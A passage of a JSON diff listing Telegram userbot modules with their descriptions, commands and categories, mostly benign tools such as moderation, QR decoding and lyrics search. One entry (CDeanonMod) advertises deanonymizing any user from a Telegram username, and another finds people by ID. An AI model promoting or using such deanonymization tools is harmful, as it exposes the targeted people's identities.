"name": "EntziffererMod", - "description": "Decoding QR codes.", - "meta": { - "pic": "https://img.icons8.com/stickers/256/qr-code.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "scancodecmd": "Scan a QR code." - } - ], - "new_commands": [ - { - "scancode": { - "ru_doc": null, - "en_doc": null, - "doc": "Scan a QR code." - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "GD-alt/mm-hikka-mods/atoll.py": { - "name": "AtollMod", - "description": "Atoll — it's like am Atool (Admin Tool) but sounds nicer. Some basic moderation features, just for me. Clean\ndocs, pure user experience.", - "meta": { - "pic": null, - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "mutecmd": "/mute [username | ID | reply] [time]\n[reason]\nMute a user for a specified time (sr Abbr:. `r1`). Add `del`, `delete` after time to delete the message." - }, - { - "kickcmd": "/kick [username | ID | reply]\n[reason]\nKick a user from the chat so he can return later. Add `del`, `delete` after command to delete the\nmessage." - }, - { - "bancmd": "/ban [username | ID | reply] [time]\n[reason]\nBan a user from the chat (sr Abbr.: `r0`. The user won't be able to return until you unban him. Add `del`,\n`delete` after time to delete the message." - }, - { - "warncmd": "/warn [username | ID | reply]\n[reason]\nWarn a user. If the user has too many warns, he will be restricted (you can set settings in config). Add `del`,\n`delete` after time to delete the message." - }, - { - "srcmd": "/sr [username | ID | reply] [rights] [time]\n[reason]\nSet rights for a user for a specified time.\nRights are a sequence of numbers from 0 to b:\n0 - view_messages; 1 - send_messages; 2 - send_media; 3 - send_stickers; 4 - send_gifs; 5 - send_games;\n6 - send_inline; 7 - embed_link_previews; 8 - send_polls; 9 - change_info; a - invite_users; b - pin_messages.\nPrepend rights with `r` to restrict user from using such media. Add `del`, `delete` after time to\ndelete the message." - }, - { - "unmutecmd": "/unmute [username | ID | reply]\nUnmute a user, so he'll be able to send messages again." - }, - { - "unbancmd": "/unban [username | ID | reply]\nUnban a user, so he'll be able to return to the chat." - }, - { - "unwarncmd": "/unwarn [username | ID | reply] ['all']\nRemove a warn from a user. If 'all' is specified, all warns will be removed." - }, - { - "nomediacmd": "/nomedia [username | ID | reply] [time]\n[reason]\nRestrict a user from sending all media types (sr Abbr.: `r234567`) for a specified time. Add `del`, `delete` or\n`d` after time to delete the message." - }, - { - "allowmediacmd": "/allowmedia [username | ID | reply]\nAllow a user to send media again." - }, - { - "newnetcmd": "/newnet [name]\nCreate a new chat network." - }, - { - "delnetcmd": "/delnet [name]\nDelete a chat network." - }, - { - "addchatcmd": "/addchat [name]\nAdd a chat to a network." - }, - { - "rmchatcmd": "/rmchat\nRemove a chat from a network." - }, - { - "netlistcmd": "/netlist\nList all chat networks." - }, - { - "nbancmd": "/nban [username | ID | reply] [time]\n[reason]\nBan a user from all chats in a network. Add `del`, `delete` after time to delete the message." - }, - { - "nunbancmd": "/nunban [username | ID | reply]\nUnban a user from all chats in a network." - }, - { - "nmutecmd": "/nmute [username | ID | reply] [time]\n[reason]\nMute a user in all chats in a network Add `del`, `delete` after time to delete the message." - }, - { - "nunmutecmd": "/nunmute [username | ID | reply]\nUnmute a user in all chats in a network." - }, - { - "nsrcmd": "/nsr [username | ID | reply] [rights] [time]\n[reason]\nSet rights for a user in all chats in a network. Add `del`, `delete` after time to delete the message." - }, - { - "dcmd": "/d [a[1-100] b[1-100]] | [reply]\nDelete messages in a chat. You can specify the amount of messages to delete (`a` — after, `b` — before)." - }, - { - "flushdacmd": "/flushda\nFlush all deleted accounts from the chat or channel." - }, - { - "nflushdacmd": "/nflushda\nFlush all deleted accounts from all chats in a network." - }, - { - "pincmd": "/pin [reply]\nPin a message in a chat." - }, - { - "unpincmd": "/unpin\nUnpin a message in a chat." - }, - { - "nochannelcmd": "/nochannel\nSwitch module to ban or not all channels from this chat when they appear." - }, - { - "cidcmd": "/cid\nGet the chat ID. If a reply is specified, gets the id of person who sent the message." - } - ], - "new_commands": [ - { - "mute": { - "ru_doc": null, - "en_doc": null, - "doc": "/mute [username | ID | reply] [time]\n[reason]\nMute a user for a specified time (sr Abbr:. `r1`). Add `del`, `delete` after time to delete the message." - } - }, - { - "kick": { - "ru_doc": null, - "en_doc": null, - "doc": "/kick [username | ID | reply]\n[reason]\nKick a user from the chat so he can return later. Add `del`, `delete` after command to delete the\nmessage." - } - }, - { - "ban": { - "ru_doc": null, - "en_doc": null, - "doc": "/ban [username | ID | reply] [time]\n[reason]\nBan a user from the chat (sr Abbr.: `r0`. The user won't be able to return until you unban him. Add `del`,\n`delete` after time to delete the message." - } - }, - { - "warn": { - "ru_doc": null, - "en_doc": null, - "doc": "/warn [username | ID | reply]\n[reason]\nWarn a user. If the user has too many warns, he will be restricted (you can set settings in config). Add `del`,\n`delete` after time to delete the message." - } - }, - { - "sr": { - "ru_doc": null, - "en_doc": null, - "doc": "/sr [username | ID | reply] [rights] [time]\n[reason]\nSet rights for a user for a specified time.\nRights are a sequence of numbers from 0 to b:\n0 - view_messages; 1 - send_messages; 2 - send_media; 3 - send_stickers; 4 - send_gifs; 5 - send_games;\n6 - send_inline; 7 - embed_link_previews; 8 - send_polls; 9 - change_info; a - invite_users; b - pin_messages.\nPrepend rights with `r` to restrict user from using such media. Add `del`, `delete` after time to\ndelete the message." - } - }, - { - "unmute": { - "ru_doc": null, - "en_doc": null, - "doc": "/unmute [username | ID | reply]\nUnmute a user, so he'll be able to send messages again." - } - }, - { - "unban": { - "ru_doc": null, - "en_doc": null, - "doc": "/unban [username | ID | reply]\nUnban a user, so he'll be able to return to the chat." - } - }, - { - "unwarn": { - "ru_doc": null, - "en_doc": null, - "doc": "/unwarn [username | ID | reply] ['all']\nRemove a warn from a user. If 'all' is specified, all warns will be removed." - } - }, - { - "nomedia": { - "ru_doc": null, - "en_doc": null, - "doc": "/nomedia [username | ID | reply] [time]\n[reason]\nRestrict a user from sending all media types (sr Abbr.: `r234567`) for a specified time. Add `del`, `delete` or\n`d` after time to delete the message." - } - }, - { - "allowmedia": { - "ru_doc": null, - "en_doc": null, - "doc": "/allowmedia [username | ID | reply]\nAllow a user to send media again." - } - }, - { - "newnet": { - "ru_doc": null, - "en_doc": null, - "doc": "/newnet [name]\nCreate a new chat network." - } - }, - { - "delnet": { - "ru_doc": null, - "en_doc": null, - "doc": "/delnet [name]\nDelete a chat network." - } - }, - { - "addchat": { - "ru_doc": null, - "en_doc": null, - "doc": "/addchat [name]\nAdd a chat to a network." - } - }, - { - "rmchat": { - "ru_doc": null, - "en_doc": null, - "doc": "/rmchat\nRemove a chat from a network." - } - }, - { - "netlist": { - "ru_doc": null, - "en_doc": null, - "doc": "/netlist\nList all chat networks." - } - }, - { - "nban": { - "ru_doc": null, - "en_doc": null, - "doc": "/nban [username | ID | reply] [time]\n[reason]\nBan a user from all chats in a network. Add `del`, `delete` after time to delete the message." - } - }, - { - "nunban": { - "ru_doc": null, - "en_doc": null, - "doc": "/nunban [username | ID | reply]\nUnban a user from all chats in a network." - } - }, - { - "nmute": { - "ru_doc": null, - "en_doc": null, - "doc": "/nmute [username | ID | reply] [time]\n[reason]\nMute a user in all chats in a network Add `del`, `delete` after time to delete the message." - } - }, - { - "nunmute": { - "ru_doc": null, - "en_doc": null, - "doc": "/nunmute [username | ID | reply]\nUnmute a user in all chats in a network." - } - }, - { - "nsr": { - "ru_doc": null, - "en_doc": null, - "doc": "/nsr [username | ID | reply] [rights] [time]\n[reason]\nSet rights for a user in all chats in a network. Add `del`, `delete` after time to delete the message." - } - }, - { - "d": { - "ru_doc": null, - "en_doc": null, - "doc": "/d [a[1-100] b[1-100]] | [reply]\nDelete messages in a chat. You can specify the amount of messages to delete (`a` — after, `b` — before)." - } - }, - { - "flushda": { - "ru_doc": null, - "en_doc": null, - "doc": "/flushda\nFlush all deleted accounts from the chat or channel." - } - }, - { - "nflushda": { - "ru_doc": null, - "en_doc": null, - "doc": "/nflushda\nFlush all deleted accounts from all chats in a network." - } - }, - { - "pin": { - "ru_doc": null, - "en_doc": null, - "doc": "/pin [reply]\nPin a message in a chat." - } - }, - { - "unpin": { - "ru_doc": null, - "en_doc": null, - "doc": "/unpin\nUnpin a message in a chat." - } - }, - { - "nochannel": { - "ru_doc": null, - "en_doc": null, - "doc": "/nochannel\nSwitch module to ban or not all channels from this chat when they appear." - } - }, - { - "cid": { - "ru_doc": null, - "en_doc": null, - "doc": "/cid\nGet the chat ID. If a reply is specified, gets the id of person who sent the message." - } - } - ], - "category": [ - "Chat", - "Games" - ] - }, - "GD-alt/mm-hikka-mods/Grapes.py": { - "name": "GrapesMod", - "description": "Searching for random pic for your query. Original version/idea: Fl1yd.", - "meta": { - "pic": "https://img.icons8.com/emoji/344/grapes-emoji.png", - "banner": null, - "developer": "@mm_mods, original by Fl1yd" - }, - "commands": [ - { - "piccmd": "Searching for pics in Yandex." - }, - { - "dpiccmd": "Searching for pics in DuckDuckGo." - } - ], - "new_commands": [ - { - "pic": { - "ru_doc": null, - "en_doc": null, - "doc": "Searching for pics in Yandex." - } - }, - { - "dpic": { - "ru_doc": null, - "en_doc": null, - "doc": "Searching for pics in DuckDuckGo." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GD-alt/mm-hikka-mods/MHelp.py": { - "name": "MHelpMod", - "description": "Helps to download mods to file and automaticaly make simple descriptions for your modules.", - "meta": { - "pic": "https://img.icons8.com/emoji/344/scroll-emoji.png", - "banner": null, - "developer": "@minimaxno" - }, - "commands": [ - { - "setuncmd": "Configurates GH username." - }, - { - "setrepocmd": "Configurates GH repo name." - }, - { - "descrcmd": "Makes decription. Required format:\nemoji > name > description > base language code, language codes to translate automatocally, … " - }, - { - "topycmd": "Gets module from link." - } - ], - "new_commands": [ - { - "setun": { - "ru_doc": null, - "en_doc": null, - "doc": "Configurates GH username." - } - }, - { - "setrepo": { - "ru_doc": null, - "en_doc": null, - "doc": "Configurates GH repo name." - } - }, - { - "descr": { - "ru_doc": null, - "en_doc": null, - "doc": "Makes decription. Required format:\nemoji > name > description > base language code, language codes to translate automatocally, … " - } - }, - { - "topy": { - "ru_doc": null, - "en_doc": null, - "doc": "Gets module from link." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GD-alt/mm-hikka-mods/versteck.py": { - "name": "VersteckMod", - "description": "Work with VersteckAPI — download modules if you are common user, grant permissions for downloading if you are\ndeveloper!", - "meta": { - "pic": "https://img.icons8.com/emoji/256/locked-with-pen.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "newvcmd": "Create new Versteck." - }, - { - "delvcmd": "Delete Versteck." - }, - { - "newicmd": "Create new in-token." - }, - { - "delicmd": "Delete in-token." - }, - { - "testvconncmd": "Test Versteck connection." - }, - { - "vmlcmd": "Download module from Versteck." - }, - { - "updateotcmd": "Update out-token." - }, - { - "vcachefetchcmd": "Fetch local cache and return a file if found." - }, - { - "vcacheclearcmd": "Clear local cache." - } - ], - "new_commands": [ - { - "newv": { - "ru_doc": null, - "en_doc": null, - "doc": "Create new Versteck." - } - }, - { - "delv": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete Versteck." - } - }, - { - "newi": { - "ru_doc": null, - "en_doc": null, - "doc": "Create new in-token." - } - }, - { - "deli": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete in-token." - } - }, - { - "testvconn": { - "ru_doc": null, - "en_doc": null, - "doc": "Test Versteck connection." - } - }, - { - "vml": { - "ru_doc": null, - "en_doc": null, - "doc": "Download module from Versteck." - } - }, - { - "updateot": { - "ru_doc": null, - "en_doc": null, - "doc": "Update out-token." - } - }, - { - "vcachefetch": { - "ru_doc": null, - "en_doc": null, - "doc": "Fetch local cache and return a file if found." - } - }, - { - "vcacheclear": { - "ru_doc": null, - "en_doc": null, - "doc": "Clear local cache." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GD-alt/mm-hikka-mods/Prodia.py": { - "name": "ProdiaMod", - "description": "Image generator based on Prodia API. No API key required.", - "meta": { - "pic": "https://img.icons8.com/?size=512&id=17387&format=png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "prodiacmd": "Generate an image using Prodia API." - } - ], - "new_commands": [ - { - "prodia": { - "ru_doc": null, - "en_doc": null, - "doc": "Generate an image using Prodia API." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GD-alt/mm-hikka-mods/miyahost.py": { - "name": "MiyaHostMod", - "description": "Module to manage your miyahost.", - "meta": { - "pic": "https://img.icons8.com/stickers/344/block.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "mhinfocmd": "Get info about miyahost user." - }, - { - "mhstartcmd": "Start miyahost container." - }, - { - "mhstopcmd": "Stop miyahost container." - }, - { - "mhrestartcmd": "Restart miyahost container." - } - ], - "new_commands": [ - { - "mhinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Get info about miyahost user." - } - }, - { - "mhstart": { - "ru_doc": null, - "en_doc": null, - "doc": "Start miyahost container." - } - }, - { - "mhstop": { - "ru_doc": null, - "en_doc": null, - "doc": "Stop miyahost container." - } - }, - { - "mhrestart": { - "ru_doc": null, - "en_doc": null, - "doc": "Restart miyahost container." - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "GD-alt/mm-hikka-mods/GLyrics.py": { - "name": "GLyricsMod", - "description": "Get lyrics from Genius", - "meta": { - "pic": "https://img.icons8.com/emoji/256/musical-notes-emoji.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "lyricscmd": "Search for lyrics" - } - ], - "new_commands": [ - { - "lyrics": { - "ru_doc": null, - "en_doc": null, - "doc": "Search for lyrics" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "GD-alt/mm-hikka-mods/Rechte.py": { - "name": "RechteMod", - "description": "Group rights viewer and manager.", - "meta": { - "pic": "https://img.icons8.com/emoji/344/mechanical-arm.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "switchibcmd": "Switches inline bots using rights." - }, - { - "checkibcmd": "Checks inline bots using rights." - }, - { - "switchsendcmd": "Switches sending messages rights." - }, - { - "checksendcmd": "Checks sending messages rights." - }, - { - "switchmediacmd": "Switches media using rights." - }, - { - "checkmediacmd": "Checks media using rights." - }, - { - "switchstickerscmd": "Switches stickers using rights." - }, - { - "checkstickerscmd": "Checks stickers using rights." - }, - { - "switchgifscmd": "Switches gifs using rights." - }, - { - "checkgifscmd": "Checks gifs using rights." - }, - { - "switchgamescmd": "Switches games using rights." - }, - { - "checkgamescmd": "Checks games using rights." - }, - { - "switchembedcmd": "Switches links preview using rights." - }, - { - "checkembedcmd": "Checks links preview using rights." - }, - { - "switchpollscmd": "Switches polls using rights." - }, - { - "checkpollscmd": "Checks polls using rights." - }, - { - "switchinfocmd": "Switches info changing rights." - }, - { - "checkinfocmd": "Checks info changing rights." - }, - { - "switchinvitecmd": "Switches invite rights." - }, - { - "checkinvitecmd": "Checks invite rights." - }, - { - "switchpincmd": "Switches pin message rights." - }, - { - "checkpincmd": "Checks pin message rights." - }, - { - "checkallcmd": "Shows all rights." - }, - { - "checkadminscmd": "Shows admins." - } - ], - "new_commands": [ - { - "switchib": { - "ru_doc": null, - "en_doc": null, - "doc": "Switches inline bots using rights." - } - }, - { - "checkib": { - "ru_doc": null, - "en_doc": null, - "doc": "Checks inline bots using rights." - } - }, - { - "switchsend": { - "ru_doc": null, - "en_doc": null, - "doc": "Switches sending messages rights." - } - }, - { - "checksend": { - "ru_doc": null, - "en_doc": null, - "doc": "Checks sending messages rights." - } - }, - { - "switchmedia": { - "ru_doc": null, - "en_doc": null, - "doc": "Switches media using rights." - } - }, - { - "checkmedia": { - "ru_doc": null, - "en_doc": null, - "doc": "Checks media using rights." - } - }, - { - "switchstickers": { - "ru_doc": null, - "en_doc": null, - "doc": "Switches stickers using rights." - } - }, - { - "checkstickers": { - "ru_doc": null, - "en_doc": null, - "doc": "Checks stickers using rights." - } - }, - { - "switchgifs": { - "ru_doc": null, - "en_doc": null, - "doc": "Switches gifs using rights." - } - }, - { - "checkgifs": { - "ru_doc": null, - "en_doc": null, - "doc": "Checks gifs using rights." - } - }, - { - "switchgames": { - "ru_doc": null, - "en_doc": null, - "doc": "Switches games using rights." - } - }, - { - "checkgames": { - "ru_doc": null, - "en_doc": null, - "doc": "Checks games using rights." - } - }, - { - "switchembed": { - "ru_doc": null, - "en_doc": null, - "doc": "Switches links preview using rights." - } - }, - { - "checkembed": { - "ru_doc": null, - "en_doc": null, - "doc": "Checks links preview using rights." - } - }, - { - "switchpolls": { - "ru_doc": null, - "en_doc": null, - "doc": "Switches polls using rights." - } - }, - { - "checkpolls": { - "ru_doc": null, - "en_doc": null, - "doc": "Checks polls using rights." - } - }, - { - "switchinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Switches info changing rights." - } - }, - { - "checkinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Checks info changing rights." - } - }, - { - "switchinvite": { - "ru_doc": null, - "en_doc": null, - "doc": "Switches invite rights." - } - }, - { - "checkinvite": { - "ru_doc": null, - "en_doc": null, - "doc": "Checks invite rights." - } - }, - { - "switchpin": { - "ru_doc": null, - "en_doc": null, - "doc": "Switches pin message rights." - } - }, - { - "checkpin": { - "ru_doc": null, - "en_doc": null, - "doc": "Checks pin message rights." - } - }, - { - "checkall": { - "ru_doc": null, - "en_doc": null, - "doc": "Shows all rights." - } - }, - { - "checkadmins": { - "ru_doc": null, - "en_doc": null, - "doc": "Shows admins." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GD-alt/mm-hikka-mods/MMAS.py": { - "name": "MMASMod", - "description": "Protects your account from spam if anyone accessed your account/session.", - "meta": { - "pic": "https://img.icons8.com/stickers/344/block.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "mmascmd": "Toggle the module." - }, - { - "mmaslimitcmd": "Get or set the limit of same messages sent by you." - } - ], - "new_commands": [ - { - "mmas": { - "ru_doc": null, - "en_doc": null, - "doc": "Toggle the module." - } - }, - { - "mmaslimit": { - "ru_doc": null, - "en_doc": null, - "doc": "Get or set the limit of same messages sent by you." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GD-alt/mm-hikka-mods/CoVis.py": { - "name": "CoVisMod", - "description": "Visualise colors by those formules.", - "meta": { - "pic": "https://img.icons8.com/fluency/344/color-palette.png", - "banner": null - }, - "commands": [ - { - "hpiccmd": "Visualise HEX-coded color.\n.hpic <HEX-color>" - }, - { - "rpiccmd": "Visualise RGB-coded color.\n.rpic <RGB-color>" - }, - { - "spiccmd": "Visualise HSB-coded color.\n.spic <HSB-color>" - }, - { - "hdpiccmd": "Visualise HEX-coded color with color code on it.\n.hdpic <HEX-color>" - }, - { - "rdpiccmd": "Visualise RGB-coded color with color code on it.\n.rdpic (<RGB-color>)" - }, - { - "sdpiccmd": "Visualise HSB-coded color with color code on it.\n.sdpic (<HSB-color>)" - } - ], - "new_commands": [ - { - "hpic": { - "ru_doc": null, - "en_doc": null, - "doc": "Visualise HEX-coded color.\n.hpic <HEX-color>" - } - }, - { - "rpic": { - "ru_doc": null, - "en_doc": null, - "doc": "Visualise RGB-coded color.\n.rpic <RGB-color>" - } - }, - { - "spic": { - "ru_doc": null, - "en_doc": null, - "doc": "Visualise HSB-coded color.\n.spic <HSB-color>" - } - }, - { - "hdpic": { - "ru_doc": null, - "en_doc": null, - "doc": "Visualise HEX-coded color with color code on it.\n.hdpic <HEX-color>" - } - }, - { - "rdpic": { - "ru_doc": null, - "en_doc": null, - "doc": "Visualise RGB-coded color with color code on it.\n.rdpic (<RGB-color>)" - } - }, - { - "sdpic": { - "ru_doc": null, - "en_doc": null, - "doc": "Visualise HSB-coded color with color code on it.\n.sdpic (<HSB-color>)" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "thomasmod/hikkamods/cchid.py": { - "name": "CChidMod", - "description": "Модуль идентификации пользователей\n\n> Надеюсь вам понравятся...\n> И другие модули: @wilsonmods", - "meta": { - "pic": "https://te.legra.ph/file/029eb6160b704b826c34a.png", - "banner": "https://te.legra.ph/file/c8577322bd5ce031efdca.jpg", - "developer": "@wilsonmods" - }, - "commands": [ - { - "chidcmd": "> Введите идентификационный номер или имя пользователя" - }, - { - "toidcmd": "> Найти человека по идентификационному номеру" - }, - { - "tidcmd": "> Идентификация ID по имени пользователя" - } - ], - "new_commands": [ - { - "chid": { - "ru_doc": null, - "en_doc": null, - "doc": "> Введите идентификационный номер или имя пользователя" - } - }, - { - "toid": { - "ru_doc": null, - "en_doc": null, - "doc": "> Найти человека по идентификационному номеру" - } - }, - { - "tid": { - "ru_doc": null, - "en_doc": null, - "doc": "> Идентификация ID по имени пользователя" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "thomasmod/hikkamods/mygallery.py": { - "name": "MyGalleryMod", - "description": "> This is the module in which my pictures are collected", - "meta": { - "pic": "https://te.legra.ph/file/c2a2e80babba6113cbf60.png", - "banner": "https://te.legra.ph/file/5e285dfcd5521028e4edf.jpg", - "desc": "This is the module in which my pictures are collected", - "developer": "@wilsonmods" - }, - "commands": [ - { - "gl": "> Open my gallery > Открыть мою галерею" - }, - { - "glcf": "> Open gallery configuration > Открыть конфигурацию галереи" - }, - { - "gltutor": "> Tutor how to add a photo to the MyGallery > Тутор как добавить фото в MyGallery" - } - ], - "new_commands": [ - { - "gl": { - "ru_doc": " > Открыть мою галерею", - "en_doc": null, - "doc": "> Open my gallery" - } - }, - { - "glcf": { - "ru_doc": " > Открыть конфигурацию галереи", - "en_doc": null, - "doc": "> Open gallery configuration" - } - }, - { - "gltutor": { - "ru_doc": " > Тутор как добавить фото в MyGallery", - "en_doc": null, - "doc": "> Tutor how to add a photo to the MyGallery" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "thomasmod/hikkamods/cuploader.py": { - "name": "UploadToProviderMod", - "description": "Хостинг-провайдеры «skynet», «imgur», «oxo»", - "meta": { - "pic": "https://te.legra.ph/file/12605828ab1dc52569739.png", - "banner": "https://te.legra.ph/file/407a0817f59ec861d031b.jpg", - "developer": "@wilsonmods | @hikarimods" - }, - "commands": [ - { - "skycmd": "> Загрузить в хостинг «SkyNet»" - }, - { - "imgurcmd": "> Загрузить в провайдер «imgur»" - }, - { - "oxocmd": "> Загрузить в хостинг «oxo»" - } - ], - "new_commands": [ - { - "sky": { - "ru_doc": null, - "en_doc": null, - "doc": "> Загрузить в хостинг «SkyNet»" - } - }, - { - "imgur": { - "ru_doc": null, - "en_doc": null, - "doc": "> Загрузить в провайдер «imgur»" - } - }, - { - "oxo": { - "ru_doc": null, - "en_doc": null, - "doc": "> Загрузить в хостинг «oxo»" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "thomasmod/hikkamods/truefalse.py": { - "name": "TrueOrFalseMod", - "description": "The module will tell you if it's true or false", - "meta": { - "pic": "https://te.legra.ph/file/302a4cff5a0d14fb3cfd0.png", - "banner": "https://te.legra.ph/file/1a095e49fb817f622c722.jpg", - "desc": "True or False", - "developer": "@wilsonmods" - }, - "commands": [ - { - "tof": "[text] - True or False Показывает правду или ложь" - } - ], - "new_commands": [ - { - "tof": { - "ru_doc": "Показывает правду или ложь", - "en_doc": null, - "doc": "[text] - True or False" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "thomasmod/hikkamods/cdeanon.py": { - "name": "CDeanonMod", - "description": "Anyone can be deanoned, just enter your Telegram username", - "meta": { - "pic": "https://te.legra.ph/file/fb9f08e6256915a729a12.png", - "banner": "https://te.legra.ph/file/d50815f35c08b9c3dcc90.jpg", - "desc": "Деанон пользователей со всех сетях ", - "developer": "@wilsonmods" - }, - "commands": [ - { - "deanon": "[username] - Without «@» [юзернейм] - Без «@»" - } - ], - "new_commands": [ - { - "deanon": { - "ru_doc": "[юзернейм] - Без «@»", - "en_doc": null, - "doc": "[username] - Without «@»" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "thomasmod/hikkamods/musicfind.py": { - "name": "MusicFinderMod", - "description": "Find music quickly and the quality is very high", - "meta": { - "pic": "https://te.legra.ph/file/c13bda4dc3eaa8c3f0f4e.png", - "banner": "https://te.legra.ph/file/0254e03843074fa879d2f.jpg", - "desc": "Find music quickly and the quality is very high", - "developer": "@wilsonmods" - }, - "commands": [ - { - "sptdl": "[type] - to find on Spotify [название] - Введите, чтобы найти на Spotify" - }, - { - "vkdl": "[type] - to find via VK [название] - Введите, чтобы найти через VK" - } - ], - "new_commands": [ - { - "sptdl": { - "ru_doc": "[название] - Введите, чтобы найти на Spotify", - "en_doc": null, - "doc": "[type] - to find on Spotify" - } - }, - { - "vkdl": { - "ru_doc": "[название] - Введите, чтобы найти через VK", - "en_doc": null, - "doc": "[type] - to find via VK" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "thomasmod/hikkamods/crename.py": { - "name": "ReanemerMod", - "description": "Rename file name", - "meta": { - "pic": "https://te.legra.ph/file/a2c350d63b964fa70903c.png", - "banner": "https://te.legra.ph/file/9adde024646b7662f12fe.jpg", - "developer": "@wilsonmods" - }, - "commands": [ - { - "renamecmd": "> rename [name.format]" - } - ], - "new_commands": [ - { - "rename": { - "ru_doc": null, - "en_doc": null, - "doc": "> rename [name.format]" - } - } - ], - "category": [ - "Fun", - "Chat" - ] - }, - "thomasmod/hikkamods/ctiktok.py": { - "name": "TikDownBotMod", - "description": "Upload video via TikTok link «Optimized»", - "meta": { - "pic": "https://te.legra.ph/file/0f3118686c0f6f371d58b.png", - "banner": "https://te.legra.ph/file/d53309369305946062a89.jpg", - "desc": "Browse movies by genre and watch them online via bot", - "developer": "@wilsonmods" - }, - "commands": [ - { - "tdcmd": "> [Link] just enter the link for the video" - } - ], - "new_commands": [ - { - "td": { - "ru_doc": null, - "en_doc": null, - "doc": "> [Link] just enter the link for the video" - } - } - ], - "category": [ - "Media", - "Chat" - ] - }, - "thomasmod/hikkamods/codemanager.py": { - "name": "CodeManagerMod", - "description": "Manager bot for working on modules (all Python files in general).", - "meta": { - "pic": "https://te.legra.ph/file/e534f736497cd1b3e711b.png", - "banner": "https://te.legra.ph/file/16c25a32943f74d7a47bf.jpg", - "desc": "Manager bot for working on modules (all Python files in general).", - "developer": "@wilsonmods" - }, - "commands": [ - { - "tofilecmd": "Reply to message code" - }, - { - "tofilencmd": "[name.format] - Reply to message code (enter the name and format)" - }, - { - "tomsgcmd": "Reply to file code" - } - ], - "new_commands": [ - { - "tofile": { - "ru_doc": null, - "en_doc": null, - "doc": "Reply to message code" - } - }, - { - "tofilen": { - "ru_doc": null, - "en_doc": null, - "doc": "[name.format] - Reply to message code (enter the name and format)" - } - }, - { - "tomsg": { - "ru_doc": null, - "en_doc": null, - "doc": "Reply to file code" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "thomasmod/hikkamods/atelegraph.py": { - "name": "ActuallTelegraphMod", - "description": "Uploading a photo/gif/picture to actuall telegraph", - "meta": { - "pic": "https://te.legra.ph/file/c0292154a0e8bbe2ba654.png", - "banner": "https://te.legra.ph/file/71b59ef7904a7742c8109.jpg", - "developer": "@wilsonmods" - }, - "commands": [ - { - "cphcmd": "> Set up buttons for the module" - }, - { - "phcmd": "> Uploading a photo/gif/picture to Telegra.ph" - } - ], - "new_commands": [ - { - "cph": { - "ru_doc": null, - "en_doc": null, - "doc": "> Set up buttons for the module" - } - }, - { - "ph": { - "ru_doc": null, - "en_doc": null, - "doc": "> Uploading a photo/gif/picture to Telegra.ph" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "thomasmod/hikkamods/cringe.py": { - "name": "RandomCringeMod", - "description": "Random cringe generate", - "meta": { - "pic": "https://te.legra.ph/file/546396354d6a3161e71bb.png", - "banner": "https://te.legra.ph/file/f61d5478f5aeead963421.jpg", - "desc": "Generator of random cringe photos", - "developer": "@wilsonmods" - }, - "commands": [ - { - "addcringe": "Add cringe via configuration Добавить кринж через конфигурацию" - }, - { - "cringe": "Send random cringe Отправить случайный кринж" - } - ], - "new_commands": [ - { - "addcringe": { - "ru_doc": "Добавить кринж через конфигурацию", - "en_doc": null, - "doc": "Add cringe via configuration" - } - }, - { - "cringe": { - "ru_doc": "Отправить случайный кринж", - "en_doc": null, - "doc": "Send random cringe" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "thomasmod/hikkamods/cmovies.py": { - "name": "CMovies", - "description": "Просмотр лучших фильмов, отсортированных по жанрам", - "meta": { - "pic": "https://te.legra.ph/file/386e8b541bb93f1537d1d.png", - "banner": "https://i.imgur.com/ccA9WkZ.jpeg", - "desc": "Browse movies by genre and watch them online via bot", - "developer": "@wilsonmods" - }, - "commands": [ - { - "cmoviescmd": "> Посмотреть каталог фильмов" - }, - { - "creqcmd": "> Информация о добавлении предложения фильма" - } - ], - "new_commands": [ - { - "cmovies": { - "ru_doc": null, - "en_doc": null, - "doc": "> Посмотреть каталог фильмов" - } - }, - { - "creq": { - "ru_doc": null, - "en_doc": null, - "doc": "> Информация о добавлении предложения фильма" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "MuRuLOSE/HikkaModulesRepo/RandomDog.py": { - "name": "RandomDogs", - "description": "Get random pictures with dogs", - "meta": { - "pic": null, - "banner": "https://0x0.st/HYVq.jpg", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "catchdog": "- Just return the picture of the dog - Просто возращает картинку собачки" - } - ], - "new_commands": [ - { - "catchdog": { - "ru_doc": " - Просто возращает картинку собачки", - "en_doc": null, - "doc": "- Just return the picture of the dog" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/TempJoinChannel.py": { - "name": "TempJoinChannel", - "description": "Enter the channels temporarily!", - "meta": { - "pic": null, - "banner": 